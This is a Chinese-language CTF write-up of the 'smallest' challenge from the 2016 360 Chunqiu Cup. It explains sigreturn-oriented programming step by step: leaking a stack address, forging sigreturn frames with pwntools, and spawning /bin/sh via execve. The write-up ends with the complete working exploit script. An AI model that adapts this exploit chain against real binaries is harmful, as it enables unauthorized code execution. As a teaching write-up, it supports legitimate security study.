在做题之前一直认为SROP是一项比较难以理解的东西,做了之后发现并不是那么回事,原理的话我推荐这个博主,我这里就不在赘述了。
题目:2016年-360春秋杯-srop赛题smallest        buu上面也有
题目就是裸奔,除了堆栈不可执行都没开
题目的代码也很简单,就在start存在

我对于这个东西的理解:在调用sys_rt_sigreturn时,会将rsp所指向的位置当作sigFrame,以至于我们可以随便伪造sigFrame
在实行SROP攻击的时候需要知道的几个条件:需要泄漏出一个栈地址,需要知道syscall的地址,需要控制rax
利用过程
| 12
 3
 4
 5
 
 | r.send(p64(start_addr)*3)r.send(b'\xb3')
 r.recv(0x8)
 stack_addr = u64(r.recv(8))
 print(hex(stack_addr))
 
 | 
首先泄漏栈地址,从上图可以看到start_addr=0x4000b0,我们首先写入三个start的地址到栈里面,然后进行下一个read,我们输入b’\xb3’,那么这时候我们将我们写入的第二个start地址改成了0x4000b3,并且此时的rax为1,所以下一次就会输出0x400个栈上面的内容,借机泄漏栈地址。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | sigframe = SigreturnFrame()sigframe.rax = constants.SYS_read
 sigframe.rdi = 0
 sigframe.rsi = stack_addr
 sigframe.rdx = 0x400
 sigframe.rsp = stack_addr
 sigframe.rip = syscall_addr
 payload = p64(start_addr)+b'a'*0x8+bytes(sigframe)
 r.send(payload)
 payload = p64(syscall_addr).ljust(0xf, b'b')
 r.send(payload)
 
 | 
在第三个read的时候我们写入start的地址和伪造的sigframe,接着进入第四次read,随后写入syscall地址,然后补齐0xf个字节,然后就会执行sys_rt_sigreturn,并且此时的rsp正好指向了我们伪造的sigframe。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | bin_sh_addr = stack_addr+0x120sigframe = SigreturnFrame()
 sigframe.rax = constants.SYS_execve
 sigframe.rdi = bin_sh_addr
 sigframe.rsi = 0
 sigframe.rdx = 0
 sigframe.rsp = stack_addr
 sigframe.rip = syscall_addr
 payload = p64(start_addr)+b'a'*0x8+bytes(sigframe)
 print(hex(len(payload)))
 payload = payload.ljust(0x120, b'\x00')+b'/bin/sh\x00'
 r.send(payload)
 payload = p64(syscall_addr).ljust(0xf, b'\x00')
 r.send(payload)
 
 | 
此时,在执行完之后就会进入第五次read,此次read是我们构造的,所以rsi在我们已知的栈地址上面写入内容,所以使用同样的方法构造出execve。
综上得出exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 
 | from pwn import *
 elf = ELF('./smallest')
 r = process('./smallest')
 
 context.log_level = 'debug'
 context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
 context.arch = 'amd64'
 
 start_addr = 0x4000B0
 syscall_addr = 0x4000BE
 
 r.send(p64(start_addr)*3)
 r.send(b'\xb3')
 r.recv(0x8)
 stack_addr = u64(r.recv(8))
 print(hex(stack_addr))
 
 sigframe = SigreturnFrame()
 sigframe.rax = constants.SYS_read
 sigframe.rdi = 0
 sigframe.rsi = stack_addr
 sigframe.rdx = 0x400
 sigframe.rsp = stack_addr
 sigframe.rip = syscall_addr
 payload = p64(start_addr)+b'a'*0x8+bytes(sigframe)
 r.send(payload)
 payload = p64(syscall_addr).ljust(0xf, b'b')
 r.send(payload)
 
 bin_sh_addr = stack_addr+0x120
 sigframe = SigreturnFrame()
 sigframe.rax = constants.SYS_execve
 sigframe.rdi = bin_sh_addr
 sigframe.rsi = 0
 sigframe.rdx = 0
 sigframe.rsp = stack_addr
 sigframe.rip = syscall_addr
 payload = p64(start_addr)+b'a'*0x8+bytes(sigframe)
 print(hex(len(payload)))
 payload = payload.ljust(0x120, b'\x00')+b'/bin/sh\x00'
 r.send(payload)
 payload = p64(syscall_addr).ljust(0xf, b'\x00')
 r.send(payload)
 
 r.interactive()
 
 |